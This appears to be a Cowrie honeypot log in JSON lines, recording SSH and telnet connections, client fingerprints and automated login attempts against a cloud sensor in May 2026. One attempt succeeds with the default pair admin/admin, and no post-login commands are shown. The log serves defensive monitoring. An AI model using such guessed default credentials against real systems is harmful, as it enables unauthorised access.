{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:ab:dc:ef:d0:dc:d4:16:32:63:5e:36:2f:f9:2a:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpuTNdD7R8nQDjw6D6Oz8Dg+4ZasRFQ2XYZsoirXHECQjzvAY1trEk08B2UiOg2aNX5oOMcBCZhVW8Ln4yMyNjp2FIryQ4P/ZfU+rfc/gJ2C25xtdcV6H344SFggt1LX8bh/N+tYhx50FgeXfR9xnz2zc+IzeQ4B8pb9K8I8nzttbyKBH/pHj6w+2td5HxqVG8G1qXg1MOUJssi99DqmdeFzrI9yMbsMXugvViPRYAeKLL0JNMmU00aABEFdw4d07Q5O3cTJTPFgEpbNe+JD4zqYD1j0eose0QNC/5p9anciUP15PcCKn3tjMPBOoGEEAkJ+uHCu0oRl7dMJcSYBQx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.210607Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:a6:8c:41:f0:78:16:b1:6e:e2:ba:05:6a:16:45:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoo6Lz6M4tNno2wGytYQBpoXw5CL8oW8Fwj4RmWpqdqebBpjh7DsAoiwkVq8OmP0nz075tJP6Fr9V6YIlkV4C0NKZS08r5BtS9mY4HBAtp0IwvT0CEA7iGVfZj1nd6jCYog8Whyd6lkdNozYogZ2VGVm76fbkvPfYvyF3CqRqGKFrrRn2nrxisxqVjVqaKNygz1LarWADe7Petu9V9p8saws7axR8mUCZ7qBumOEBGOfrGqTZxxMmkYnuW/YsiupoN6fY19fPZ6V/v+BUqhnB2mYQzSV8gf7zZ24GRRQupWJT9O1mPs4wLjgF1XiYqfUZnKA91yCajzjKLK8/8bJj/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:a6:8c:41:f0:78:16:b1:6e:e2:ba:05:6a:16:45:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.299303Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:a6:8c:41:f0:78:16:b1:6e:e2:ba:05:6a:16:45:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoo6Lz6M4tNno2wGytYQBpoXw5CL8oW8Fwj4RmWpqdqebBpjh7DsAoiwkVq8OmP0nz075tJP6Fr9V6YIlkV4C0NKZS08r5BtS9mY4HBAtp0IwvT0CEA7iGVfZj1nd6jCYog8Whyd6lkdNozYogZ2VGVm76fbkvPfYvyF3CqRqGKFrrRn2nrxisxqVjVqaKNygz1LarWADe7Petu9V9p8saws7axR8mUCZ7qBumOEBGOfrGqTZxxMmkYnuW/YsiupoN6fY19fPZ6V/v+BUqhnB2mYQzSV8gf7zZ24GRRQupWJT9O1mPs4wLjgF1XiYqfUZnKA91yCajzjKLK8/8bJj/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.303336Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:e3:bd:19:77:75:9a:f1:08:c0:eb:3e:fc:4d:4d:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCOD3sL0xQwZHljjQj2NwWjmjBrjqd7PkGeKbOPkt6CHBpWWgzmwAlTc2vckzh7Seyve4idkXb7agFiZ04DFaF5wIBQN03jotvYWMp6UlQKTBpfQR+Wp7CkljbJzdHyTxcV1q83oXkIVdXan+S+nz5dj7/D5MHt6hyUYzO1GLuch2e+ICC6A4TnYTiCpgfcHOaowovJqTC1Z5yj1eFhH4zRPZgF2zRTAzC6bnOeMeQXWtmed9JAJOWubFDfLWmg7/ITm94tYSBUdx3Dv5ly8nySKybECaLhe5z6pJnrLZBlADrk1SrOfxOLt86N9naYre1di+b1MaK8KXsmSsaYhK0r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:e3:bd:19:77:75:9a:f1:08:c0:eb:3e:fc:4d:4d:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.387791Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:e3:bd:19:77:75:9a:f1:08:c0:eb:3e:fc:4d:4d:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCOD3sL0xQwZHljjQj2NwWjmjBrjqd7PkGeKbOPkt6CHBpWWgzmwAlTc2vckzh7Seyve4idkXb7agFiZ04DFaF5wIBQN03jotvYWMp6UlQKTBpfQR+Wp7CkljbJzdHyTxcV1q83oXkIVdXan+S+nz5dj7/D5MHt6hyUYzO1GLuch2e+ICC6A4TnYTiCpgfcHOaowovJqTC1Z5yj1eFhH4zRPZgF2zRTAzC6bnOeMeQXWtmed9JAJOWubFDfLWmg7/ITm94tYSBUdx3Dv5ly8nySKybECaLhe5z6pJnrLZBlADrk1SrOfxOLt86N9naYre1di+b1MaK8KXsmSsaYhK0r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.399900Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.487617Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.32140898704529,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:49.027841Z","src_ip":"135.148.33.91","session":"232000e4f81f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40958,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e39613d3e1","protocol":"telnet","message":"New connection: 135.148.33.91:40958 (159.203.135.109:23) [session: 98e39613d3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:54.053706Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41890,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce40588dfa9d","protocol":"telnet","message":"New connection: 135.148.33.91:41890 (159.203.135.109:23) [session: ce40588dfa9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:55.625817Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55726,"dst_ip":"159.203.135.109","dst_port":23,"session":"679acf2ae2db","protocol":"telnet","message":"New connection: 135.148.33.91:55726 (159.203.135.109:23) [session: 679acf2ae2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:20.748434Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56240,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d789666ab1f","protocol":"telnet","message":"New connection: 135.148.33.91:56240 (159.203.135.109:23) [session: 5d789666ab1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:21.603322Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58126,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dafa6762764","protocol":"telnet","message":"New connection: 135.148.33.91:58126 (159.203.135.109:23) [session: 5dafa6762764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:27.724725Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60046,"dst_ip":"159.203.135.109","dst_port":23,"session":"070785246fcb","protocol":"telnet","message":"New connection: 135.148.33.91:60046 (159.203.135.109:23) [session: 070785246fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:28.220631Z"}
{"eventid":"cowrie.session.closed","duration":35.33772253990173,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:29.391329Z","src_ip":"135.148.33.91","session":"98e39613d3e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56020402908325,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:31.185899Z","src_ip":"135.148.33.91","session":"ce40588dfa9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.147.179.124","src_port":44048,"dst_ip":"10.17.0.5","dst_port":23,"session":"3522131c31fc","protocol":"telnet","message":"New connection: 186.147.179.124:44048 (10.17.0.5:23) [session: 3522131c31fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:36.814201Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40146,"dst_ip":"159.203.135.109","dst_port":23,"session":"e691967ffafa","protocol":"telnet","message":"New connection: 135.148.33.91:40146 (159.203.135.109:23) [session: e691967ffafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:43.037488Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41128,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1b187a71ed2","protocol":"telnet","message":"New connection: 135.148.33.91:41128 (159.203.135.109:23) [session: d1b187a71ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:44.819324Z"}
{"eventid":"cowrie.session.closed","duration":13.664337396621704,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:50.478434Z","src_ip":"186.147.179.124","session":"3522131c31fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44900,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1255be5e302","protocol":"telnet","message":"New connection: 135.148.33.91:44900 (159.203.135.109:23) [session: c1255be5e302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:51.835729Z"}
{"eventid":"cowrie.session.closed","duration":34.99010491371155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:55.738434Z","src_ip":"135.148.33.91","session":"679acf2ae2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47108,"dst_ip":"159.203.135.109","dst_port":23,"session":"5615ae24e09c","protocol":"telnet","message":"New connection: 135.148.33.91:47108 (159.203.135.109:23) [session: 5615ae24e09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:55.750237Z"}
{"eventid":"cowrie.session.closed","duration":34.5872597694397,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:54:56.190452Z","src_ip":"135.148.33.91","session":"5d789666ab1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.65933275222778,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:01.383954Z","src_ip":"135.148.33.91","session":"5dafa6762764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42202043533325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:02.642549Z","src_ip":"135.148.33.91","session":"070785246fcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36153531074524,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:18.398932Z","src_ip":"135.148.33.91","session":"e691967ffafa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":54966,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ee5b340f5ce","protocol":"ssh","message":"New connection: 84.239.42.8:54966 (159.203.135.109:22) [session: 1ee5b340f5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:19.019502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:19.024579Z","src_ip":"84.239.42.8","session":"1ee5b340f5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:19.153303Z","src_ip":"84.239.42.8","session":"1ee5b340f5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.425090074539185,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:19.244289Z","src_ip":"135.148.33.91","session":"d1b187a71ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60754,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b51e927813","protocol":"telnet","message":"New connection: 135.148.33.91:60754 (159.203.135.109:23) [session: 81b51e927813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:19.289807Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#$%^&*","message":"login attempt [admin/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:19.651704Z","src_ip":"84.239.42.8","session":"1ee5b340f5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:20.781622Z","src_ip":"84.239.42.8","session":"1ee5b340f5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28022384643555,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:28.115862Z","src_ip":"135.148.33.91","session":"c1255be5e302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.189175605773926,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:31.939300Z","src_ip":"135.148.33.91","session":"5615ae24e09c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47412,"dst_ip":"159.203.135.109","dst_port":23,"session":"1583b208af12","protocol":"telnet","message":"New connection: 135.148.33.91:47412 (159.203.135.109:23) [session: 1583b208af12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:43.347526Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.34.223","src_port":45772,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45b19daed3f","protocol":"telnet","message":"New connection: 194.113.34.223:45772 (159.203.135.109:23) [session: d45b19daed3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:43.704659Z"}
{"eventid":"cowrie.session.closed","duration":35.22087264060974,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:55:54.510533Z","src_ip":"135.148.33.91","session":"81b51e927813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.442442178726196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:56:18.789842Z","src_ip":"135.148.33.91","session":"1583b208af12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54370,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee815da12b05","protocol":"telnet","message":"New connection: 135.148.33.91:54370 (159.203.135.109:23) [session: ee815da12b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:56:40.718715Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55658,"dst_ip":"159.203.135.109","dst_port":23,"session":"06af1d9a21b2","protocol":"telnet","message":"New connection: 135.148.33.91:55658 (159.203.135.109:23) [session: 06af1d9a21b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:56:42.877322Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:56:44.151155Z","src_ip":"194.113.34.223","session":"d45b19daed3f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:56:44.199510Z","src_ip":"194.113.34.223","session":"d45b19daed3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58686,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37d9edf32c9","protocol":"telnet","message":"New connection: 135.148.33.91:58686 (159.203.135.109:23) [session: f37d9edf32c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:56:49.450329Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36462,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbee23ecf897","protocol":"telnet","message":"New connection: 135.148.33.91:36462 (159.203.135.109:23) [session: dbee23ecf897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:57:14.833627Z"}
{"eventid":"cowrie.session.closed","duration":35.13527870178223,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:57:15.854082Z","src_ip":"135.148.33.91","session":"ee815da12b05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48136758804321,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:57:17.358603Z","src_ip":"135.148.33.91","session":"06af1d9a21b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.5991108417511,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:57:29.049329Z","src_ip":"135.148.33.91","session":"f37d9edf32c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74903917312622,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:57:49.582523Z","src_ip":"135.148.33.91","session":"dbee23ecf897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ab4c8db547","protocol":"telnet","message":"New connection: 135.148.33.91:42362 (159.203.135.109:23) [session: a0ab4c8db547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:57:57.713629Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41948,"dst_ip":"159.203.135.109","dst_port":23,"session":"d018d06c17fd","protocol":"telnet","message":"New connection: 135.148.33.91:41948 (159.203.135.109:23) [session: d018d06c17fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:04.113374Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50010,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9849319c13a","protocol":"telnet","message":"New connection: 135.148.33.91:50010 (159.203.135.109:23) [session: e9849319c13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:11.815157Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.129.12.130","src_port":25473,"dst_ip":"159.203.135.109","dst_port":23,"session":"974939d674fd","protocol":"telnet","message":"New connection: 31.129.12.130:25473 (159.203.135.109:23) [session: 974939d674fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:13.786139Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e2fe761ad79","protocol":"telnet","message":"New connection: 135.148.33.91:51824 (159.203.135.109:23) [session: 8e2fe761ad79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:14.115786Z"}
{"eventid":"cowrie.session.closed","duration":13.143562078475952,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:26.929384Z","src_ip":"31.129.12.130","session":"974939d674fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10469675064087,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:31.818206Z","src_ip":"135.148.33.91","session":"a0ab4c8db547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77449941635132,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:36.887762Z","src_ip":"135.148.33.91","session":"d018d06c17fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.13281869888306,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:45.947826Z","src_ip":"135.148.33.91","session":"e9849319c13a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44298,"dst_ip":"159.203.135.109","dst_port":23,"session":"2de164b84ca2","protocol":"telnet","message":"New connection: 135.148.33.91:44298 (159.203.135.109:23) [session: 2de164b84ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:50.509217Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43430,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafd5e8b227a","protocol":"telnet","message":"New connection: 135.148.33.91:43430 (159.203.135.109:23) [session: aafd5e8b227a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:51.995683Z"}
{"eventid":"cowrie.session.closed","duration":40.57069659233093,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:58:54.686410Z","src_ip":"135.148.33.91","session":"8e2fe761ad79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51402,"dst_ip":"159.203.135.109","dst_port":23,"session":"84605f33b0de","protocol":"telnet","message":"New connection: 135.148.33.91:51402 (159.203.135.109:23) [session: 84605f33b0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:02.636970Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53138,"dst_ip":"159.203.135.109","dst_port":23,"session":"652046ee2b79","protocol":"telnet","message":"New connection: 135.148.33.91:53138 (159.203.135.109:23) [session: 652046ee2b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:05.870785Z"}
{"eventid":"cowrie.session.closed","duration":34.85394835472107,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:25.363053Z","src_ip":"135.148.33.91","session":"2de164b84ca2","protocol":"telnet"}
